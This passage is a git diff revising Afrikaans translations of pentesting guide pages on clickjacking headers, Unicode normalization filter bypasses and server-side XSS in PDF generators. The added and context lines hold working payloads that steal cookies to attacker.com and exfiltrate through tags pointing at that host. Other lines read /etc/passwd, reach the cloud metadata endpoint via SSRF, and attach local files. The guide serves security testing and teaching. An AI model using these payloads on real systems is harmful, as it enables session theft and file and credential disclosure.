 Die **`X-Frame-Options` HTTP antwoordkop** informeer blaaiers oor die wettigheid van die weergawe van 'n bladsy in 'n `<frame>` of `<iframe>`, wat help om Clickjacking te voorkom:
 
-- `X-Frame-Options: deny` - Geen domein kan die inhoud raam.
+- `X-Frame-Options: deny` - Geen domein kan die inhoud raam nie.
 - `X-Frame-Options: sameorigin` - Slegs die huidige webwerf kan die inhoud raam.
 - `X-Frame-Options: allow-from https://trusted.com` - Slegs die gespesifiseerde 'uri' kan die bladsy raam.
 - Let op die beperkings: as die blaier hierdie riglyn nie ondersteun nie, mag dit nie werk nie. Sommige blaaiers verkies die CSP frame-ancestors riglyn.
 
-#### Inhoudsekuriteitsbeleid (CSP) frame-ancestors riglyn
+#### Content Security Policy (CSP) frame-ancestors riglyn
 
 **`frame-ancestors` riglyn in CSP** is die aanbevole metode vir Clickjacking beskerming:
 
@@ -151,9 +153,9 @@ Byvoorbeeld, die volgende CSP laat slegs raamwerk toe vanaf dieselfde domein:
 
 Verder besonderhede en komplekse voorbeelde kan gevind word in die [frame-ancestors CSP dokumentasie](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) en [Mozilla se CSP frame-ancestors dokumentasie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
 
-### Inhoudsekuriteitsbeleid (CSP) met `child-src` en `frame-src`
+### Content Security Policy (CSP) met `child-src` en `frame-src`
 
-**Inhoudsekuriteitsbeleid (CSP)** is 'n sekuriteitsmaatreël wat help om Clickjacking en ander kode-inspuitaanvalle te voorkom deur te spesifiseer watter bronne die blaier mag toelaat om inhoud te laai.
+**Content Security Policy (CSP)** is 'n sekuriteitsmaatreël wat help om Clickjacking en ander kode-inspuitaanvalle te voorkom deur te spesifiseer watter bronne die blaier mag toelaat om inhoud te laai.
 
 #### `frame-src` Riglyn
 
@@ -162,11 +164,11 @@ Verder besonderhede en komplekse voorbeelde kan gevind word in die [frame-ancest
 ```
 Content-Security-Policy: frame-src 'self' https://trusted-website.com;
 ```
-Hierdie beleid laat rame van dieselfde oorsprong (self) en https://trusted-website.com toe.
+Hierdie beleid laat rame van die dieselfde oorsprong (self) en https://trusted-website.com toe.
 
 #### `child-src` Direktief
 
-- Ingevoerd in CSP vlak 2 om geldige bronne vir webwerkers en rame in te stel.
+- Ingevoerd in CSP vlak 2 om geldige bronne vir webwerkers en rame te stel.
 - Dien as 'n terugval vir frame-src en worker-src.
 ```
 Content-Security-Policy: child-src 'self' https://trusted-website.com;
diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md
index 13c5c2f11..8d70e787b 100644
--- a/src/pentesting-web/unicode-injection/unicode-normalization.md
+++ b/src/pentesting-web/unicode-injection/unicode-normalization.md
@@ -6,26 +6,26 @@
 
 ## Verstaan van Unicode en Normalisering
 
-Unicode normalisering is 'n proses wat verseker dat verskillende binêre verteenwoordigings van karakters gestandaardiseer word na dieselfde binêre waarde. Hierdie proses is van kardinale belang wanneer dit kom by stringe in programmering en dataverwerking. Die Unicode standaard definieer twee tipes karaktergelykheid:
+Unicode-normalisering is 'n proses wat verseker dat verskillende binêre voorstellings van karakters gestandaardiseer word na dieselfde binêre waarde. Hierdie proses is van kardinale belang wanneer dit kom by die hantering van stringe in programmering en dataverwerking. Die Unicode-standaard definieer twee tipes karaktergelykheid:
 
 1. **Kanonieke Gelykheid**: Karakters word as kanoniek gelyk beskou as hulle dieselfde voorkoms en betekenis het wanneer dit gedruk of vertoon word.
-2. **Compatibiliteitsgelykheid**: 'n Swakker vorm van gelykheid waar karakters dieselfde abstrakte karakter kan verteenwoordig, maar anders vertoon kan word.
+2. **Compatibiliteitsgelykheid**: 'n Swakker vorm van gelykheid waar karakters dieselfde abstrakte karakter kan voorstel, maar anders vertoon kan word.
 
-Daar is **vier Unicode normalisering algoritmes**: NFC, NFD, NFKC, en NFKD. Elke algoritme gebruik kanonieke en compatibiliteitsnormaliseringstegnieke op 'n ander manier. Vir 'n meer diepgaande begrip kan jy hierdie tegnieke op [Unicode.org](https://unicode.org/) verken.
+Daar is **vier Unicode-normaliseringsalgoritmes**: NFC, NFD, NFKC, en NFKD. Elke algoritme gebruik kanonieke en kompatibiliteitsnormaliseringstegnieke op 'n ander manier. Vir 'n meer diepgaande begrip kan jy hierdie tegnieke op [Unicode.org](https://unicode.org/) verken.
 
-### Sleutelpunte oor Unicode Kodering
+### Sleutelpunte oor Unicode-kodering
 
-Om Unicode kodering te verstaan is van kardinale belang, veral wanneer dit kom by interoperabiliteitskwessies tussen verskillende stelsels of tale. Hier is die hoofpunte:
+Om Unicode-kodering te verstaan, is van kardinale belang, veral wanneer dit kom by interoperabiliteitskwessies tussen verskillende stelsels of tale. Hier is die hoofpunte:
 
 - **Kodepunte en Karakters**: In Unicode word elke karakter of simbool 'n numeriese waarde toegeken wat bekend staan as 'n "kodepunt".
-- **Bytes Verteenwoordiging**: Die kodepunt (of karakter) word deur een of meer bytes in geheue verteenwoordig. Byvoorbeeld, LATIN-1 karakters (algemeen in Engelssprekende lande) word met een byte verteenwoordig. egter, tale met 'n groter stel karakters benodig meer bytes vir verteenwoordiging.
-- **Kodering**: Hierdie term verwys na hoe karakters in 'n reeks bytes omgeskakel word. UTF-8 is 'n algemene kodering standaard waar ASCII karakters met een byte verteenwoordig word, en tot vier bytes vir ander karakters.
-- **Verwerking van Data**: Stelsels wat data verwerk moet bewus wees van die kodering wat gebruik word om die byte-stroom korrek in karakters om te skakel.
+- **Bytes Voorstelling**: Die kodepunt (of karakter) word deur een of meer bytes in geheue voorgestel. Byvoorbeeld, LATIN-1 karakters (algemeen in Engelssprekende lande) word met een byte voorgestel. egter, tale met 'n groter stel karakters benodig meer bytes vir voorstelling.
+- **Kodering**: Hierdie term verwys na hoe karakters in 'n reeks bytes omgeskakel word. UTF-8 is 'n algemene koderingstandaard waar ASCII-karakters met een byte voorgestel word, en tot vier bytes vir ander karakters.
+- **Verwerking van Data**: Stelsels wat data verwerk, moet bewus wees van die kodering wat gebruik word om die byte-stroom korrek in karakters om te skakel.
 - **Variantes van UTF**: Benewens UTF-8, is daar ander koderingstandaarde soos UTF-16 (wat 'n minimum van 2 bytes gebruik, tot 4) en UTF-32 (wat 4 bytes vir alle karakters gebruik).
 
 Dit is van kardinale belang om hierdie konsepte te verstaan om effektief te kan hanteer en potensiële probleme wat uit Unicode se kompleksiteit en sy verskillende koderingmetodes ontstaan, te verminder.
 
-'n Voorbeeld van hoe Unicode twee verskillende bytes normaliseer wat dieselfde karakter verteenwoordig:
+'n Voorbeeld van hoe Unicode twee verskillende bytes normaliseer wat dieselfde karakter voorstel:
 ```python
 unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
 ```
@@ -33,7 +33,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
 
 ### Ontdekking
 
-As jy 'n waarde in 'n webapp kan vind wat teruggegee word, kan jy probeer om **‘KELVIN TEKEN’ (U+0212A)** te stuur wat **normaliseer na "K"** (jy kan dit as `%e2%84%aa` stuur). **As 'n "K" teruggegee word**, dan word daar 'n soort **Unicode normalisering** uitgevoer.
+As jy 'n waarde in 'n webapp kan vind wat teruggegee word, kan jy probeer om **‘KELVIN TEKEN’ (U+0212A)** te stuur wat **normaliseer na "K"** (jy kan dit stuur as `%e2%84%aa`). **As 'n "K" teruggegee word**, dan word daar 'n soort **Unicode normalisering** uitgevoer.
 
 Ander **voorbeeld**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` na **unicode** is `Leonishan`.
 
@@ -41,7 +41,7 @@ Ander **voorbeeld**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%
 
 ### **SQL Injection filter omseiling**
 
-Stel jou voor 'n webblad wat die karakter `'` gebruik om SQL navrae met die gebruiker se invoer te skep. Hierdie webblad, as 'n sekuriteitsmaatreël, **verwyder** alle voorkomste van die karakter **`'`** uit die gebruiker se invoer, maar **na daardie verwydering** en **voor die skepping** van die navraag, **normaliseer** dit die gebruiker se invoer met **Unicode**.
+Stel jou 'n webblad voor wat die karakter `'` gebruik om SQL navrae met die gebruiker se invoer te skep. Hierdie webblad, as 'n sekuriteitsmaatreël, **verwyder** alle voorkomste van die karakter **`'`** uit die gebruiker se invoer, maar **na daardie verwydering** en **voor die skepping** van die navraag, **normaliseer** dit die gebruiker se invoer met **Unicode**.
 
 Dan kan 'n kwaadwillige gebruiker 'n ander Unicode karakter wat ekwivalent is aan `' (0x27)` soos `%ef%bc%87` invoeg, wanneer die invoer genormaliseer word, word 'n enkele aanhalingsteken geskep en 'n **SQLInjection kwesbaarheid** verskyn:
 
@@ -91,14 +91,24 @@ Let op dat die eerste Unicode-karakter wat voorgestel word, gestuur kan word as:
 
 ### Fuzzing Regexes
 
-Wanneer die backend **gebruikersinvoer met 'n regex nagaan**, mag dit moontlik wees dat die **invoer** **genormaliseer** word vir die **regex** maar **nie** vir waar dit **gebruik** word nie. Byvoorbeeld, in 'n Open Redirect of SSRF mag die regex die gestuurde URL **normaliseer** maar dan **dit soos dit is** benader.
+Wanneer die backend **gebruikersinvoer met 'n regex nagaan**, kan dit moontlik wees dat die **invoer** **genormaliseer** word vir die **regex** maar **nie** vir waar dit gebruik word nie. Byvoorbeeld, in 'n Open Redirect of SSRF kan die regex die gestuurde URL **genormaliseer** maar dan **dit soos dit is** benader.
 
-Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* laat jou toe om **variasies van die invoer** te genereer om die backend te fuzz. Vir meer inligting, kyk na die **github** en hierdie [**pos**](https://0xacb.com/2022/11/21/recollapse/).
+Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* maak dit moontlik om **variasies van die invoer** te genereer om die backend te fuzz. Vir meer inligting, kyk na die **github** en hierdie [**plasing**](https://0xacb.com/2022/11/21/recollapse/).
+
+## Unicode Overflow
+
+Volgens hierdie [blog](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), is die maksimum waarde van 'n byte 255, as die bediener kwesbaar is, kan 'n oorgang geskep word om 'n spesifieke en onverwagte ASCII-karakter te produseer. Byvoorbeeld, die volgende karakters sal na `A` omgeskakel word:
+
+- 0x4e41
+- 0x4f41
+- 0x5041
+- 0x5141
 
 ## Verwysings
 
 - [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
 - [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
 - [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
+- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
index 4774fa0e2..3bfc246e1 100644
--- a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
+++ b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
@@ -1,28 +1,28 @@
-# Server Side XSS (Dinamiese PDF)
+# Server Side XSS (Dynamic PDF)
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Server Side XSS (Dinamiese PDF)
+## Server Side XSS (Dynamic PDF)
 
-As 'n webblad 'n PDF genereer met gebruikersbeheerde invoer, kan jy probeer om die **bot te mislei** wat die PDF genereer om **arbitraire JS-kode uit te voer**.\
+As 'n webblad 'n PDF genereer met gebruikersbeheerde invoer, kan jy probeer om die **bot te mislei** wat die PDF genereer om **arbitraire JS-kode** te **uit te voer**.\
 So, as die **PDF-creator bot** 'n soort **HTML** **tags** vind, gaan dit dit **interpreteer**, en jy kan hierdie gedrag **misbruik** om 'n **Server XSS** te veroorsaak.
 
 Let asseblief daarop dat die `<script></script>` tags nie altyd werk nie, so jy sal 'n ander metode nodig hê om JS uit te voer (byvoorbeeld, om `<img` te misbruik).\
-Neem ook kennis dat jy in 'n gewone uitbuiting **die geskepte PDF kan sien/aflaai**, so jy sal alles kan sien wat jy **via JS skryf** (met `document.write()` byvoorbeeld). Maar, as jy die geskepte PDF **nie kan sien nie**, sal jy waarskynlik **die inligting moet onttrek deur webversoeke na jou te maak** (Blind).
+Ook, let daarop dat jy in 'n gewone uitbuiting **die geskepte pdf kan sien/aflaai**, so jy sal alles kan sien wat jy **via JS skryf** (met `document.write()` byvoorbeeld). Maar, as jy die geskepte PDF **nie kan sien nie**, sal jy waarskynlik **die inligting moet onttrek deur webversoeke na jou te maak** (Blind).
 
-### Gewilde PDF-generasie
+### Populêre PDF-generasie
 
 - **wkhtmltopdf** is bekend vir sy vermoë om HTML en CSS in PDF-dokumente om te skakel, met die WebKit-rendering enjin. Hierdie hulpmiddel is beskikbaar as 'n oopbron-opdraglyn-hulpmiddel, wat dit toeganklik maak vir 'n wye reeks toepassings.
 - **TCPDF** bied 'n robuuste oplossing binne die PHP-ekosisteem vir PDF-generasie. Dit is in staat om beelde, grafika en versleuteling te hanteer, wat sy veelsydigheid vir die skep van komplekse dokumente toon.
-- Vir diegene wat in 'n Node.js-omgewing werk, bied **PDFKit** 'n lewensvatbare opsie. Dit stel die generasie van PDF-dokumente direk vanuit HTML en CSS in staat, wat 'n brug tussen webinhoud en drukbare formate bied.
-- Java-ontwikkelaars mag verkies **iText**, 'n biblioteek wat nie net PDF-skep vergemaklik nie, maar ook gevorderde funksies soos digitale handtekeninge en vorminvulling ondersteun. Sy omvattende funksieset maak dit geskik vir die generering van veilige en interaktiewe dokumente.
+- Vir diegene wat in 'n Node.js-omgewing werk, bied **PDFKit** 'n lewensvatbare opsie. Dit stel die generasie van PDF-dokumente direk vanaf HTML en CSS in staat, wat 'n brug tussen webinhoud en drukbare formate bied.
+- Java-ontwikkelaars mag **iText** verkies, 'n biblioteek wat nie net PDF-skep vergemaklik nie, maar ook gevorderde funksies soos digitale handtekeninge en vorminvulling ondersteun. Sy omvattende funksieset maak dit geskik vir die generering van veilige en interaktiewe dokumente.
 - **FPDF** is 'n ander PHP-biblioteek, wat gekenmerk word deur sy eenvoud en gebruiksgemak. Dit is ontwerp vir ontwikkelaars wat 'n eenvoudige benadering tot PDF-generasie soek, sonder die behoefte aan uitgebreide funksies.
 
 ## Payloads
 
-### Ontdekking
+### Discovery
 ```html
-<!-- Basic discovery, Write somthing-->
+<!-- Basic discovery, Write something-->
 <img src="x" onerror="document.write('test')" />
 <script>document.write(JSON.stringify(window.location))</script>
 <script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
@@ -32,10 +32,26 @@ Neem ook kennis dat jy in 'n gewone uitbuiting **die geskepte PDF kan sien/aflaa
 <img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
 <script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
 <link rel=attachment href="http://attacker.com">
+
+<!-- Using base HTML tag -->
+<base href="http://attacker.com" />
+
+<!-- Loading external stylesheet -->
+<link rel="stylesheet" src="http://attacker.com" />
+
+<!-- Meta-tag to auto-refresh page -->
+<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
+
+<!-- Loading external components -->
+<input type="image" src="http://attacker.com" />
+<video src="http://attacker.com" />
+<audio src="http://attacker.com" />
+<audio><source src="http://attacker.com"/></audio>
+<svg src="http://attacker.com" />
 ```
 ### SVG
 
-Enige van die vorige of volgende payloads kan binne hierdie SVG-payload gebruik word. Een iframe wat toegang tot die Burpcollab subdomein verkry en 'n ander een wat toegang tot die metadata-eindpunt verkry, word as voorbeelde gegee.
+Enige van die vorige of volgende payloads kan binne hierdie SVG-payload gebruik word. Een iframe wat toegang tot die Burpcollab subdomein het en 'n ander een wat toegang tot die metadata-eindpunt het, word as voorbeelde gegee.
 ```html
 <svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
 <g>
@@ -69,7 +85,7 @@ if not, you will at least have wich path the bot is accessing -->
 <img src="x" onerror="document.write(window.location)" />
 <script> document.write(window.location) </script>
 ```
-### Laai 'n eksterne skrip
+### Laai 'n eksterne skrip op
 
 Die beste toepaslike manier om hierdie kwesbaarheid te benut, is om die kwesbaarheid te misbruik om die bot 'n skrip te laat laai wat jy plaaslik beheer. Dan sal jy in staat wees om die payload plaaslik te verander en die bot dit elke keer met dieselfde kode te laat laai.
 ```html
@@ -81,7 +97,7 @@ Die beste toepaslike manier om hierdie kwesbaarheid te benut, is om die kwesbaar
 > [!WARNING]
 > Verander `file:///etc/passwd` na `http://169.254.169.254/latest/user-data` byvoorbeeld om **te probeer om 'n eksterne webblad te bereik (SSRF)**.
 >
-> As SSRF toegelaat word, maar jy **kan nie** 'n interessante domein of IP bereik nie, [kyk na hierdie bladsy vir potensiële omseilings](../ssrf-server-side-request-forgery/url-format-bypass.md).
+> As SSRF toegelaat word, maar jy **kan nie** 'n interessante domein of IP bereik nie, [kyk hierdie bladsy vir potensiële omseilings](../ssrf-server-side-request-forgery/url-format-bypass.md).
 ```html
 <script>
 x=new XMLHttpRequest;
@@ -152,8 +168,8 @@ Hierdie kwesbaarheid kan baie maklik in 'n SSRF omgeskakel word (aangesien jy di
 ### Attachments: PD4ML
 
 Daar is 'n paar HTML 2 PDF enjin wat toelaat om **aansluitings vir die PDF te spesifiseer**, soos **PD4ML**. Jy kan hierdie kenmerk misbruik om **enige plaaslike lêer** aan die PDF te **heg**.\
-Om die aansluiting te open, het ek die lêer met **Firefox geopen en dubbel op die Papierclip simbool geklik** om die **aansluiting as 'n nuwe lêer te stoor**.\
-Om die **PDF antwoord** met burp te vang, moet ook die **aansluiting in duidelike teks** binne die PDF **getoon word**.
+Om die aansluiting te open, het ek die lêer met **Firefox geopen en dubbelklik op die Papierclip simbool** om die **aansluiting** as 'n nuwe lêer te **stoor**.\
+Om die **PDF antwoord** met burp te vang, moet ook die **aansluiting in duidelike teks** binne die PDF **wys**.
 ```html
 <!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
 <html>
@@ -169,5 +185,6 @@ icon="Paperclip" />
 - [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
 - [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
 - [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
+- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
 
 {{#include ../../banners/hacktricks-training.md}}